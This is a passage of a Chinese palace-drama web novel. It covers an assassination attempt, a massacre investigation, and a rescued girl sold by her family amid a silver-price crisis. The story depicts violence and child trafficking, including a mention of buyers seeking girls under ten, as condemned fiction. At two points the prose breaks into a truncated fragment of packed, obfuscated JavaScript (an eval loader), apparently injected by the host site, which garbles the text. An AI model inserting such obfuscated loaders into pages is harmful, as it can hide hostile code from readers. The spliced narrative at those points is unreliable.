赵毓的弩|箭一下子刺穿了一个举长刀的刺客的肩膀,随即,双腿一夹马肚子,骏马前蹄腾空,一跃而起,向被杂草覆盖的青石路跑去。他的身后就是那个武者,像个麻袋一样被拖拽。 刺客的同伴似乎想要救他,同时也为了杀赵毓,大约七、八个人一哄而上。赵毓扔了那个“麻袋”,从马鞍下取出方才骑马人配备的强|弩,来一个算一个,发出去的弩|箭全部钉在刺客的右眼上,当场毙命。 东瀛刀钢口极佳,砍人如同杀瓜切菜,单打独斗时候的兵器之王,却有致命的弱点,——不能进行战争。太刀异常锋利,却砍不了坚硬的盔甲,也挡不住远距离的强弓硬弩,所以,只要赵毓不让这些刺客近身,他就能活,还能杀人。一切顺利,只是赵毓的马快到村边的森林,却看见很多想要乘乱逃跑的村民,他不知道要怎么将这些人拦截回来,幸运的是,裴檀来了。 文湛一把扣住赵毓的手腕,将他从地上拉起来,“去看看十三行的人。”随后,他立刻松开了他的手腕,即使这样,皮肤极薄的赵毓手腕依旧是一圈青黑。 赵毓,“生气了?” 文湛点头,“嗯。” 赵毓歪了一下脑袋,“我需要做些什么,才能让陛下不这么生气?” “不用,我自己忍忍就好。”文湛淡然的回答,“反正也习惯了。” “……” 十三行的人被摆放在木板上,有些人死的比较安详,有些人死不瞑目。 万幸,没有周熙。 赵毓看到一个人的脸已经毁了一半,圆睁着一只眼,而他的半张嘴皮肉已失,只剩下牙齿和白骨,似乎有些突兀的镶嵌在脸面之上。 这个人,赵毓还认识,他们夏天的时候还在绮镇见过,——十三行绮镇茶庄大掌柜,陈三龙。 当时他们在凉亭中品着香茗,看着垂垂稻穗,谈着羡云飞万亩良田的生意。 没想到,一转眼,秋天还没有过完就阴阳分隔。 这种伤口,……火铳!雍京应该只有禁军才配备的火器。 文湛立刻就要上马回京,赵毓却说,“我得留下。我惹出来的麻烦,怎么也要善后。没事,有定国公在。” 良久,文湛微微点头,“好。” 皇帝上马回京,随扈的御林军全部跟随,众人则全部跪地,送圣驾离开。 萧则官阶低微,没有面圣的资格,此时跪下也必须额头触地,他听见众人的马蹄声踩踏在暮秋的将要枯竭的荒草上,狂风一般的远去,这才慢慢抬起了头。 赵毓就站在距离他不太远的地方,手中扭着一把东瀛短刀,夜幕的火光下,刀鞘上的白梅与蛇显得格外妖异。“景沢,我不问你别的,告诉我这死的二百多女人和孩子是怎么回事?”被人绞扭着双臂,跪在泥泞中的景沢抬头,桀骜不驯,却垂死挣扎,“我是无辜的。” 文湛胜了那个东瀛武士,拿到他的长刀,本来赵毓以为这位武士也是秉承刀与人生死不分的“道”,败战就切腹,结果这位却非常罕见的双手递上长刀。他问了一句,“你们杀我?” “不。”文湛回答,“我向来一言九鼎。” 那个东瀛人似乎无意再动武,同时,也似乎对他的那些同伴也不再在意,竟然径自离开。 当务之急是救山涧中的村民,可是文湛身份极贵,不适合直接跳下潭水,韦睿有幸代劳,手持利刃只下深渊,手中的太刀劈开木闸门,山涧中的众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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潼关天险,项羽、曹操、刘裕、安史叛军都曾踏入过;瞿塘悬崖绝壁,奔流无尽长江却拒不了岑鹏、桓温、朱龄石、汤和;剑阁峥嵘崔嵬,一夫当关,万夫莫开,却依然挡不住邢峦、尉迟迥、郭崇韬;长江也阻碍不了晋、隋、宋、元的王师。 战争,灭国屠城在所不惜! 只是,那之后呢,永不休止的复仇与杀戮,就是武德,就是出征的最初的原因吗? 屠杀已经投降的男女老幼,强|奸不满十四岁的少女,抢夺叶城远道而来的波斯泰西阿富汗商人的财货,能称为战功吗? 赵毓本来不想说话,不过,他还是开了口,“你兄长为什么出征?” 景沢似乎不明白这个问题。 “除了奉旨、封侯与发财之外,你兄长出征还有别的原因吗?”赵毓说出口,更像是在问自己。 景沢,“你又为什么出征?” 武有七德:禁暴、戢兵、保大、定功、安民、和众、丰财。不明白这些的人,只不过是屠夫,不配说战功,也不配说武德。 “大炮一打,黄金万两。”赵毓忽然笑了,“我不能封侯,我只想赚钱。” 景沢忽然暴|动,想要跃起撕咬赵毓,而赵毓手中的胁差忽然切开自己的袖子,扯下一团丝布,直接塞住景沢的嘴,防止他自尽。 赵毓对裴檀说,“裴公爷,这个人可不能死,他嘴里有料,都得掏出来。” 裴檀冲着压制景沢的人一挥手,他们自然知道应该如何处理。 “你……”裴檀,“剩下的事情,你想怎么善后?” “十三行的人,……”过了好一会儿,赵毓才说,“带到宛平,找棺材入殓,我找人通知十三行的人,让他们运回故里。” 裴檀又问,“剩下的人呢?” 剩下的,有死人,还有活人。 萧则看着赵毓,脑门上青筋一冒一冒的,火把先原本显得清秀的脸此时竟然有些狰狞。 赵毓,“死人入殓,山坡那边有水,风水上讲究的前有照、后有靠,就葬在那边。” 裴檀等着他说最后一句话。 果然,赵毓再开口,声调都有些不一样,轻飘飘的,仿若游魂野鬼,“剩下的人,意图刺杀圣上,按照大郑国法,剐刑。” 萧则听到最后两个字的时候,竟然出了一身冷汗。他已经很久没有见过这样的赵毓了。 裴檀却依旧不动。 赵毓又说,“只是,圣上白龙鱼服,他们有些不知者不罪的冤枉,京畿重地,杀戮过重有伤天和。再说,他们的妻子儿女未必想要再和他们葬在一起,所以,按照大郑国法,发配到苦寒之地为奴赎罪吧。” 裴檀点头,“这太平镇呢?” “也许一百多年前的姚相说的对,这个地方风水真坏了。”赵毓原本怀疑这里是桃花源,结果看来,这个桃花源也太脆弱了,“土地全部封存,等过一二十年,事情过去,凶性过去,再并入临近的县,这里的户籍与周围的人一视同仁。天子治下,没有法外之地。” 79. 79 79 很多事情需要善后,赵毓他们一时半刻也回不了雍京,就住在宛平。 小城就在永定河东边,正对着卢沟桥,扼京畿咽喉要道。——局制虽小,而崇墉百雉,俨若雄关。 一家小店。 众人下马,包店吃饭。 赵毓自己一个人坐在角落的桌子旁,正面是一堵墙,他的面前一盘炒蘑菇,一盘包菜粉丝,还有一盘葱花柴鸡蛋。 他左手捧着一个粗糙的碗,不紧不慢的吃着。 有人在他面前放了一碗蒸肉。 赵毓抬头,是萧则。 赵毓,“吃饱了吗?” 萧则,“没有。” 赵毓,“坐下一起吃点吧。” 萧则将自己的碗拿过来,就坐赵毓旁面。 “赵叔。” “怎么了?” “西北道有事,我爹让您有空过去一趟。” “哦。” “八叔昌渡质疑您用西北道全部白银押宝雍京银价狂跌,他想要对您发难。我爹他,……” 赵毓从饭碗中抬头,“我不是跟你说过,不要再管西北道的事了吗?你既然一脚踏进裴公这里,就最好全心全意在这里,这条路不好走,千万别三心二意毁了前途。” 萧则点了点头,吃了两口米饭,“赵叔,西北道是不是有祸?” “没事,别瞎想。”赵毓说,“人这一辈子最好只端着一碗饭,这样端得稳。再说,裴公此人柱国栋梁,就是心眼小,我怕,……” 萧则的眼神一直向他身后瞄,赵毓立刻说,“我怕你年轻,做事不牢靠,给裴公添麻烦。裴公此人,有知人之明、谋国之忠,可谓千里驹,是难得的国之干城,你跟着他混,以后一定是前途无量。” 说完,扭头,果然,裴檀就站在他身后。 “裴公爷。”赵毓轻笑出声,“这段时间我是丧门神附体,做什么事,什么事不成,我都要衰到庙里烧香去了,结果噗通一下,我眼前掉下来个定国公,真是天不绝我。裴公爷,您老就是我的平安符、大红灯。” 萧则,“……” 官面上不会有人称呼裴檀“裴公爷”,而赵毓说起来不但顺口,而且带着三分调笑,却有着诡异的三分亲切。 “这是我第二次看见你一个人对墙吃饭。”裴檀也坐下,将一壶酒两个碗放好,“上一次,还是七年前。” 元熙六年,先帝驾崩,赵毓回雍京奔丧,进京之前住在安河驿站住一宿。 裴檀作为帝王近臣,一路跟随。 在安河驿站的那个晚上,赵毓也是这样,一个人面对一堵墙,不言不语的吃饭。他从西北赶回来,像是饿极了,吃饭的时候不急不缓,却吃的很多。不一会儿,一碗米饭就见了底。 赵毓拿起来酒壶,给裴檀倒了一碗酒。 “我总说等您回雍京空闲了,请您喝大酒,话是总这么说,看总也没这个空闲。今天碰上了,怎么也要喝一碗。” 裴檀接过去。 赵毓又说,“说起来,咱们可是几十年的老交情。” 当年他喝花酒,醉了,回来的晚,宵禁他倒是不怕,就是怕宫门上锁,那个时候裴檀还在禁军,正好看见他巡街,赵毓借了他的马回宫,在大正宫门徐徐关闭的时候,骑马入皇城。 随后,就看见了十五岁的文湛,一脑门子官司坐在玉熙宫。 文湛怒火冲天的问他是不是又鬼混去了,那个时候,赵毓以为文湛年轻小,为人又方正,什么都不懂,就插科打诨的回答,“别乱说,我从来不逛窑|子。” “你是不逛窑|子!”文湛气极,“你逛相公堂子!” …… 想到这里,赵毓就笑了,——文湛一如既往的气鼓鼓,一下子就过去这么多年。 流年都去哪儿了? 赵毓喝了半碗酒,这是一种很清淡的高粱酒,加了蜂蜜,味道不错。 “裴公爷,这人嘛认识的久了,就忘了刚开始。我都忘了我们第一次在哪儿见着的了。” “奉先殿。” 对了,是在奉先殿,那个内廷供奉先祖的地方。 那一年几个世家勾结禁军叛乱,大正宫中乱哄哄的,裴檀在那天入宫见皇后,不想遇到这样的祸事。 就在他就要遭遇叛军的时候,有人揪住他的袖子,用力向后拉,然后将他从一条很古怪的小路扯进了奉先殿。这里不同于太庙,没有那么隆重,供奉的是先祖的牌位,四周青烟缭绕,空无一人。 “在这里躲一下,他们找不到这里。” 一个小孩子,身上是黑色缂丝镶银丝骧翥纹的小袍子,衣服上弥漫着异常昂贵与罕见的白昙花的熏香,他头发扎的不是很严实,只有头顶一半用金丝镶嵌羊脂玉的环扣住,另外一半头发披散在后背上。他双手抓住门栓,双脚踩在楠木门当上,向外看。 “没人过来。” 裴檀,“大殿下怎么在这里?” “咦。”小孩子双手抓着门栓转过头,“你怎么知道我是谁?” 有资格进出宫廷的王公子弟,没有人不知道这位皇长子承怡。皇帝真正的心尖子,捧在手里怕碎了,含在嘴里怕化了,顶在头顶怕歪了。 宠冠诸王。 所以,……,他是皇后的眼中钉。 “我也知道你是谁。”小承怡从门上跳下来,“你是六弟的哥哥。” 随后,又加一句,“你们长的有些像。” 裴檀,“太子殿下,现在会不会有危险?” “不会。”小承怡笃定,“六弟是储君,他的身边一向有很多人,很多很多人。” 外面有人叛军轰门的声音。 “不好,坏人来了。”小承怡一把揪住少年裴檀的袍子角,“跟我逃,走这边!” 于是,皇长子与裴相独子,钻了狗洞。 承怡带着他在后宫中绕着诡异的路线逃跑,最终,跳入太液池。他们从接天连日的红莲叶子下面,游到了玉熙宫。禁军很快控制了大正宫,平叛就在弹指间。 只是,那一天,五皇子不幸遇到叛军被质被杀。 多年的往事如同流水一般,在他们两个人面前淌过,裴檀看着赵毓,后者不说话,就是认真看着酒碗,店内的油灯闪着昏黄油腻的光亮。周围都是自己人,吃饭喝茶,异常安静。 裴檀忽然站起来,“你,……,吃过饭早些休息,明天还要赶路回雍京。” 随后,就离开了。 饭桌上只有赵毓和萧则。 赵毓又捧着粗碗,慢慢吃饭。 “那些人,……太平镇的那些人已经押入宛平的军营,看管很严。”萧则忽然开口,“方才我们的一个游击去给那些人派饭,顺便问了他们一句,怎么有人轻易做出这种匪夷所思的事情。” 赵毓,“嗯,他们怎么说?” 萧则,“景沢一开始只是在他们面前摆了一箱子银锭,然后说,没有牵挂的人赠送白银,并且带他们离开。” 结果,“没有牵挂”就是杀妻杀子,就是一张投名状。 只要亲手杀了人,就洗不干净了,只能被景沢推着走,一步一步,走向了不归路。 “已经找到了那箱子白银。”萧则说,“我粗略算了一下,就算景沢承诺的是真的,每个人也就能分到不到二十两的银子。太平镇的水土其实很好,那里面的人虽然无法出来,可是男耕女织,日子过的很怡然,这么点银子,实在不至于如此。” 太平镇封闭,不能与外界有交往,所以不需要白银;户籍在那里男子不能科举,所以不需要读书。直隶总督署嫌管那里麻烦,所以给那里的里长发一份薪俸,让他们自己管自己。 一切都很完美。 完美的把自己窒息了。 太平镇的人想要出来,没有清白的户籍,不识字,完全无法活下去。 二十两白银,可以买一个户籍,可以吃很久的饭,可以换个身份在天下清白的活下去。 至于别的,…… 老婆可以再娶,儿子可以再生。 这个世上,识时务的人是没有什么不能舍弃的。 赵毓吃完了米饭,把碗底冲着萧则,“小子,你觉得我这碗米饭值多少钱?” 萧则,“呃,……,好像是一个大子儿随便吃。” 赵毓,“我能把它卖到十两黄金,你信吗?” 萧则摇头,“不信。” “好。”赵毓起身,“我带你去看看。” 萧则跟着赵毓向外走,有人为他们去牵马,赵毓将披风裹在身上,忽然回头低低的说了一句,“今天你看到人,看到的事情,最好忘掉。” 夜风诈起。 气死风灯在赵毓头顶上飘来荡去。 萧则却感觉自己有些看不清楚他的脸,只是觉得他眼角的那颗泪痣出奇的红,像,……,有人用银针刺破了他的皮肤,一粒血珠子渗了出来。 萧则知道赵毓说的是谁,…… 他们在绮镇比过剑术。 他可以声音清淡却理所应当的差遣定国公。 他骑马离开,众人需要跪地。 他是,…… 宛平很小,只是再小,它的建制还算完整。这里有一个小院,青砖青瓦,外面挑着一串灯笼。 赵毓在门外勒住缰绳,早有小厮过来,为他牵马坠蹬。 “七姐方便见客吗?” “要是别人来,我们七奶奶肯定不见。”那小厮也吩咐人伺候萧则下马,他这边对赵毓说,“赵老爷您是贵客,七奶奶是一定会见的。” 说完,小厮让在门边,为赵毓和萧则推开门,“赵老爷,这位官爷,里面请。” 萧则此时并没有穿官服,只是眼前这人眼光实在毒辣,一眼就知道他是做什么的。 小院里面只有一段回廊,萧则跟在赵毓身后,赵毓不让小厮送他们进门,只是接了一个灯笼自己提着。他们顺着这个回廊向里,前面是一小片草地,站满了人,大多却是七、八岁的女孩子。 正房坐北朝南,前面是一把太师椅,一个消瘦的妇人端坐其中。她的左右全是明亮的牛油大蜡,照的脸上的茉莉粉几乎有一种肤若凝脂的触觉。妇女的身边是几个婆子,依次领着这些女孩子到她面前,让她仔细相看。——活像在菜场看鸡鸭,又或者是市集上相牛马。 “这个,……,可能有用,留下。” “这个,……,卖到西边的庄子做粗使下人。” “这个,……,直接给老六的暗门子,不算是好苗子,估计也挣不到什么大钱。” 赵毓拎着灯笼走过去,“七姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朱七姐,“赵老爷,您知道什么了,我们可是什么都不知道。” 赵毓,“这个世上您不知道、或者说您不敢知道的事情可真不多。我大概知道该从哪里查了。多谢。” 朱七姐也笑,“这个不是人情,赵老爷也不必还。还有,方才那个女孩子,你要是想要,一并带走。” 赵毓,“多谢,那个姑娘,我给您十两黄金。” 萧则一听,暗自意外。 朱七姐却说,“用不了这么多,我买她不过花了一两银子。” 赵毓,“那姑娘是个好苗子,如果送到姑苏好好调|教,以后定然是与屠明珠地位相仿的倌人。我因为自己的一点渊源挡了七姐的财路,一定要赔一赔的。” “随您心意。”朱七姐也不过分推辞。 “好,等我回雍京,就遣人送黄金到七姐府上。” 赵毓把那个小姑娘带回客栈,让店家打了水给她洗了洗脸,然后萧则从后厨给她端了一碗饭,上面还堆了两块蒸肉。那个小姑娘拿过来,又看了看赵毓和萧则,随后拿过来米饭和勺子开始狼吞虎咽。赵毓给她倒了热水,让她吃饱了再喝口水,别噎着。 他没问,可是萧则却禁不住好奇,“这是怎么回事?” “还能怎么回事。”那小姑娘没说什么,赵毓开口,“你是被人拐出来的,还是你家人把你卖了?” 小姑娘声音细细的,“家里。” 赵毓点头,“今年夏天我去过你家那边,庄稼长的不错,今年的收成应该不错,应该不至于卖儿卖女。” “庄稼是收了很多,却特别贱。”小姑娘,“秋天又征税,往年缴一半谷子,我们家能留一半,可是今年不知道怎么了,这一半谷子不够了,要再加五成。我娘又怀上了,家里口粮不够。我爹听说他们买人给现银,就把我,……” 赵毓,“你们家的田地呢?那个抵给大户比卖人还是值钱的。” 小姑娘,“爹说,那是留给弟弟的祖产。” 赵毓,“你娘同意?” 小姑娘愣了一下,随后低头,没回答。 赵毓,“我记得你弟弟,虎头虎脑的。反正你娘也怀了,你爹还是心慈手软,不如把你们姐俩一下子都卖了,既可以换现银,家里还能省口粮。” 闻言,萧则看了赵毓一眼。 赵毓,“你看我做什么?对你来说,一两白银,十两,一百两,一千两,甚至一万两,你爹都能给你、都不算什么,对人家不是。平时一年到头的辛劳本来剩不下什么,一年算一年的口粮,万一有个天灾人祸什么的,不是抵押田地就是卖人,现在银价一涨,家无余粮,不想抵押田地还能怎么办?” “弟弟不能卖!”小姑娘流着泪,呜咽着说,“奶奶说,弟弟要留着做种!” 至亲骨肉也要分个三六九等。 田地是祖产,留着传世,不能动。 奶奶留着奉养尽孝道;亲爹是壮劳力,是主心骨;弟弟留着做种;亲娘用来下崽儿。 算来算去,只有这小姑娘长大了换彩礼还有点儿用处,可惜时间太久,等不了。 “行了,你别怪他们,走投无路而已,不是不稀罕你了。” 赵毓拍了拍小姑娘的肩膀。 “吃饱了好好睡一觉,明天的事情明天再说吧。” 80. 80 80 赵毓想把自己的房间让给这个小姑娘,自己另外找一个屋子睡觉,可是这个小孩儿不敢一个人呆着,赵毓所幸就把床让给她,自己睡窗边的长榻。 “哥哥,你说,我爹娘奶奶还是罕我的,对吧。” “嗯。” 赵毓和衣躺着,身上盖着一层薄被。 他困的厉害,就是脑子里面好像长了一个水车,顺着滚滚流水开始咕噜咕噜的乱转,怎么也停不下来。 似乎,正在勤劳的浇着这边的稻田。 “小姑娘,你叫什么名字?” “小草。” “我有个女儿,她叫花骨朵,比你还大。”赵毓说,“等见了面,你得叫她姐姐。所以,你以后得叫我伯伯。” “还是哥哥这个称呼好。” 脑子中的水车似乎终于把这边十亩稻田浇好了,赵毓这才感觉脑子终于逐渐安静了下来。 “……好吧。”赵毓没有精力同一个小孩子较劲,“你愿意怎么着就怎么着吧。” 说完,他脑袋一歪,睡着了。 第二天,天不亮,小草就醒了。 她一向醒得早。 小草在家中是老大,奶奶老了,娘事情多又怀着孩子,家中的活计有些都是她在做,穷人家的孩子早当家。 大家都说她娘福气好,第一胎是个闺女,可以帮忙洗衣烧火做饭还有照顾弟弟。 小草轻手轻脚的下床,看了看窗边,那边的哥哥还在睡,她就穿好鞋子,拿着客栈房间的铜壶下楼打热水。 裴檀过来想要叫醒赵毓吃饭赶路,结果,他一到门前,正好看见一个不到十岁的小姑娘拎着铜壶进房门。 他就一愣。 这个小姑娘是个美人坯子,就是看着出身不好,不过也对,要是出身好的人家,谁会卖儿卖女? 裴檀知道现在雍京有些权贵喜欢买一些十岁之下的女孩子玩一些见不得人的勾当,他想着赵毓这个人虽然纨绔、并且放荡不羁,可不至于这么下作。 他推开门,看见的却是这个小姑娘把客栈的铜盆放在地板上,双手拎着铜壶向盆里面倒水。倒一点,用手搅一搅。 窗边有个长榻,赵毓还在睡觉。 他的后背正冲着墙,好像随时准备应敌或者逃跑。 裴檀一进屋,赵毓就醒了,他刚醒有些迷糊,小草过来给他打开窗子,外面的空气伴随着野草的气息和永定河的水雾飘了进来。 小草看着裴檀,有些害怕,“哥哥,这个是谁?” 赵毓用手指了指,“这是我朋友,姓裴。” “哦。”小草很有礼貌的到裴檀面前,“裴大爷好。” 裴檀,“……” 赵毓起床,裴檀看着小草忙前忙后,又是给他端水,又是让他洗脸,还给他递布巾擦脸。 赵毓这个纨绔,似乎还挺享受。 吃饭的时候,赵毓对一旁有些惴惴不安的小姑娘说,“小草,你先跟我回雍京,以后再说以后。” 裴檀问了萧则,他明白这个小姑娘的事情。他对于赵毓在这样的情况下还能招惹一个小姑娘的本领,感觉到有些,……,那个啥。 有的时候,他在想,是不是当年先帝过于宠爱这个假儿子,把他彻底宠坏了? 当年大正宫的皇子,哪个不是战战兢兢,唯独这个皇长子过的恣意。自古有言,君子抱孙不抱儿,可是先帝自从有了这个儿子,根本不理睬古训,时常像得了一个大宝贝一样抱着,即使当年赵毓都长到七、八岁了,有的时候裴檀进宫还能看见先帝在御园遛弯的时候抱着他。 宠爱是明明白白的,只是,应该下手的时候,先帝从未手软。 小草不会骑马,赵毓一路抱着她,速度却依旧不慢。 赵毓原来做亲王的时候,他的马术在雍京城一干王公子弟当中就是顶尖的,当然,当年他的马好,那是汗血马中的极品神驹,整个大郑就有两匹,一匹先帝自己留下,另外一匹就是赵毓的。现在他倒是没有这么顶尖的马匹,可是骑术更精湛了。有几段路,裴檀差点追不上他。 回到雍京,赵毓把小草放到家中,让赵大妈给她做点饭吃,再烧水让她洗洗澡,拿两件花骨朵的旧衣服给她换上。另外,再给三山书寓的朱七姐送十两黄金去。 “老爷,这小姑娘是,……”赵大妈趁着小姑娘去洗澡,赶紧问明白,“这是新买的粗使丫头,还是通房?” 赵毓听着都淡疼,“有这点儿的孩子做通房丫头的吗?” “有!”赵大妈一对死鱼眼一翻,“昨儿我还跟牙婆牛金花吃涮肉,她说最近有几个大户找她买小丫头,要十岁以下的,说这样新鲜。他们还说这样的丫头睡起来虽然不如十五六的顺畅,但是嫩,也是一种风流。” 赵毓一口茶直接冲着赵大妈喷出来。 只见,看上去胖胖的赵大妈踩着凌波步,不紧不慢的一躲,连个衣服角都没沾湿。 赵毓呲牙说,“他们不怕作孽!这么着容易出人命。” 赵大妈端着一张面团一样的大脸,“真出了人命他们也赔的起,再说,现在雍京城八两银子能买仨丫头,还生死勿论。” 赵毓把茶碗递给赵大妈,“我和这个小姑娘有渊源,她叫小草,既不是粗使的丫头更不是通房。我有事出门,晚上不回来吃饭,你们仨吃吧。对了,给这小姑娘做点好吃的,我看她怎么长的比当年的花骨朵矮。” “得了。”赵大妈笑着,“老爷别担心,我知道该怎么做了。” 大正宫,皇帝寝殿。 赵毓进来,只有黄枞菖在。 “圣上让我在这里候着。”黄枞菖连忙端过来司礼监刚得的新茶,“他知道祖宗从南门回了雍京城,也说您该来了。” “陛下呢?” “还在微音殿。” “这都要半夜了,怎么还在?” “别提了。” 黄枞菖用他那牙疼的表情把今天的事情大约说了说。 “禁军所有的火器,还有管理火器的人彻底洗了一遍,七十六个人下了诏狱,有冤枉的,不过还是找到了个苗头。 十三行被劫,那些人用的火铳是小佛郎机,不是那种千斤铜炮,是一种新的玩意儿,很轻,只有百十来斤。兵部去年刚从澳门运回来三十部。这次一查,纹丝不差。 但是,去年兵部去澳门买炮的那个官员死了,身后给老婆孩子留下了两万白银,还有南城的一个院子,不大,却是三进三出,正经不错。他这一辈子,每年俸禄二百两,这得不吃不喝二百年,才能攒这么多。” 赵毓,“然后呢?” “没然后了。”黄枞菖,“这件事由崔侯继续追。今天有大朝会,那些大人们说的是别的事。这不快到年底了,今年总的来说风调雨顺,海清河晏,天下太平。” “哦。”赵毓点头。 “不过,有个事儿,挺,……” “怎么?” 黄枞菖看了看外面,凑到赵毓耳边,“圣上把户部尚书梁崇山叫到微音殿,单独说了一些事。” “户部尚书?”赵毓,“圣上叫他干嘛?听他哭穷?” 黄枞菖,“祖宗,您是千里耳,您怎么知道梁老尚书哭穷?” 赵毓,“越是位高权重,越要哭穷,表现的好像每天吃大腌萝卜就米汤,最后,甚至穷的都要当小老婆了。当然,梁尚书不是哭穷,他是真穷。我不是说他家穷,我是说,户部是真穷。” “他连咱大郑究竟有多少家底都不知道,每年户部的税收就只能指望着从小民百姓手中卡农税地税人头税,真正的大户是那些权贵豪族,都是长着狼牙的肥羊,他们占着大片的土地,有大笔的银钱却不纳税不承担徭役,户部尚书当然不会去撕咬那些人,只能霍霍我们这种没有功名的草民了。” 黄枞菖,“今年其实还算好过,年初黄河发了一次水,初夏的时候淮河又闹了一次,随后西北大旱,江南却丰收,户部调了粮款赈灾,修缮水利的银子都有着落,还有,兵部新造的海船也得了,弄完这些,户部真是一穷二白了,这都已经寅吃牟粮了,一个大窟窿就指望着秋冬这茬税入账,不然,明年春耕的种子粮,黄河的春汛都没法子对付了。” 赵毓,“所以,户部尚书哭完穷,他就回家吃大腌萝卜了?” “没有。”黄枞菖,“圣上问了他,目前银价的事。” “……” 半晌,赵毓没说话。 随后才问,“梁尚书怎么说?” 黄枞菖,“他说,银价高低,这些年时有发生。这个世道包容万象,可以自我调节。还说,银价高因为小民愚昧,短视,贪财,他们不读书,不受圣人教诲,不明白修身养德,见利忘义,见钱眼开。只看眼前,看不长远,一看银价涨了,不管不顾的就屯白银,所以这才让银价一涨再涨,——小民虽愚,牟利则智。” 赵毓不说话,就是笑。——笑的真冷,似乎脸上全是冰碴子。 黄枞菖,“祖宗,我知道您在西城押了大笔的银子赌雍京银价狂泻,但是现在银价打着滚的向上翻,您手里是一点存银都没有了,眼看着多年的基业就这么灰飞烟灭,您怎么就不能问主子,让他帮帮您?” “那天晚上,圣上还让我从微音殿拿出来他临摹的户部参政知事宋鼐写的《民间疾苦疏》,那上面字字珠玑,刀刀见血,圣上不是不明白银价高昂之下的民生之苦,苦不堪言。” 赵毓,“因为我的事情,已经麻烦他很多了,不能再裹乱。再说,圣上,应该有自己的心思。” 黄枞菖一愣。 赵毓,“西北战事一平,那些手握重兵的藩镇就是心腹大患。他们是开锋的妖刀,要嗜血,如果没有敌人给他们杀,他们就要杀自己人了。如果朝廷不动他们,几年之后没准就是安史之乱,群雄并起,分裂疆土;一旦削藩,几万甚至十几万的兵马就需要朝廷出钱养。户部让清贵读书人梁尚书弄成了寅吃牟粮的大窟窿,你让圣上拿什么养兵?让你到天桥卖大力丸吗?” “如今乘着银价高,户部今年多收一些税,屯一些白银,能多换一些铜钱做军饷,这样一进一出,可以多养三、四年的兵。多了这些家底,就多了这些时间,事情就可以更有把握一些。” “动藩镇是军国大事,一个不小心,就是一场接着一场的叛乱,那些军队,现在银子喂着,都是精兵悍将,一旦没饭吃,那一张一张的嘴巴,一把一把的刀枪就是祸乱。真到了那个时候,兵灾,山河破碎,人命贱如草芥,万物如刍狗。说实话,那种日子还不如现在的日子能熬的下去。” 至于其他,…… 银价高,有家底的人正好高兴,可以低价买一些平时买不到的东西,买一些平时买不到的人。 毕竟,…… 不读书,不识字,没有田产,没有资格兑白银贮存白银的人,在诸位大人眼中,那能算是人吗? 到了半夜,文湛才回来。 赵毓刚在温泉泡了出来,正坐在床边,黄枞菖给他擦头发。 文湛进入殿门,喝了宫人奉的茶,也更了衣,这才到床边,拿过黄枞菖手中的布巾,慢慢给赵毓擦头发。 “今天在微音殿的事,黄瓜跟我说了。”赵毓低着头,看着头发一点一点滴水。 他,“你的这招乘着银价高昂多收税是涸泽而渔;而我做的这些就是头疼医头脚疼医脚,治标不治本,哦,现在连标都不治了,这种情势再发展下去,我真要倾家荡产了。” “两害相权取其轻。” “文湛。” “这一次,我听你的。” 小草说自己姓罗,这两天住在赵毓家中很勤快,赵大妈其实挺喜欢她的,于是给她做了很多好吃的。赵毓回来的时候看见她正吃饭,碗里堆满了鸡鸭鱼肉,她正认真的一口一口极认真的吃下肚子中,一个米粒都没有落下。 小草看见赵毓回来,叫了一声,“哥哥。” “你想回家吗?”赵毓坐她身边,赵大妈给他端了一碗馄饨面,他用勺子先喝了两口汤。 罗小草先是摇头,慢,随后不摇了,只是低着脑袋。声音很细,“可是,哥哥为了赎我,花了十两金子,我得先挣出来还给你。” “不用还。”赵毓笑着说,“夏天的时候你给了我一个鸡蛋,那些金子就是我和你买鸡蛋的钱。” 有人扣门。 赵大爷去开门,一看是萧则。 赵毓看着他一脸的不太情愿走进来就乐了,“又是你爹让你过来找我?” “呃,……”萧则也是苦笑,“没办法。我不来,我爹说打断我的狗腿。” 赵毓,“行了,别苦瓜着脸了,我这里正好有个事儿要你做。” 他指着罗小草,“这小姑娘就住在雍京北、绮镇南边大约几十里的一个村子里面。你送她回家。”随后,赵毓让赵大妈给罗小草收拾一些格非的衣服,给她带回去。“赵大妈,我想起来你昨天蒸了一些点心,也给小草收拾一笼屉。” 等他支开了小草,赵毓扯着萧则说,“你先别回来,就在小草他们村子附近住几天。这样一来二去的,你就可以躲开你爹几天了。至于裴檀那里,……” 萧则说,“裴大人说,以后只要是赵叔您的吩咐,只要做就是了,不用再和他说。” 不想赵毓摇头,“这个裴公,也太公私不分了,这样可不好。没事儿,你先走,等我回头和他再说说。” 萧则,“……” 本来赵毓想着萧则能走几天,没想到第三天下午,他就带着小草回来了。 罗小草好像一只被植在龟裂土地上的野草,都蔫了。 “呃,……,赵叔,是这样的,小草的爹又把她卖了。”萧则说,“我比人贩子多花了二两银子,这才把她带回来。” 其实,这种事就好像偷腥,有一就有二。 赵大妈见着个情况,就说,“老爷,既然咱家不多一双筷子,就留下小草吧。” 赵毓感觉赵大妈也挺喜欢家中有个小姑娘,就点了头,随后打发萧则。“你别回家,先回军营吧。你躲着你爹,我也得躲他。” 赵大妈看家里来了一个小姑娘,心里高兴,赵毓却不知道怎么了,心口开始犯恶心。他自己喝了一罐子茶水,还是有点想吐。 雍京的牙婆很多,靠谱的有几个。 罗小草他们家那一带就有一个牙婆,专门买女孩子给雍京的大户,价钱虽然给的不算太高,也不低。 关键是,那个牙婆给女孩子们找的人家都是不错的清白人家。女孩子们到了府内还能教一些针线、面食或者简单算账的本事。卖身契一般是十年的约,大了,主家给一笔钱就放出府邸。 楚蔷生家里买人用的就是那个牙婆,就是觉得她靠谱,这些年,没听说这个牙婆卖人进窑|子。 罗小草的爹既然为了多出的三钱银子就把闺女卖给朱七姐,这个吃人不吐骨头的老鸨,说明他见了罗小草回去,没准能把她当成一个摇钱树开始反反复复的卖。 赵毓只是没有想到,罗小草的爹连七、八天都顶不住。 有人推开门进来。 罗小草跑过去,“咦,你是哥哥的朋友。” 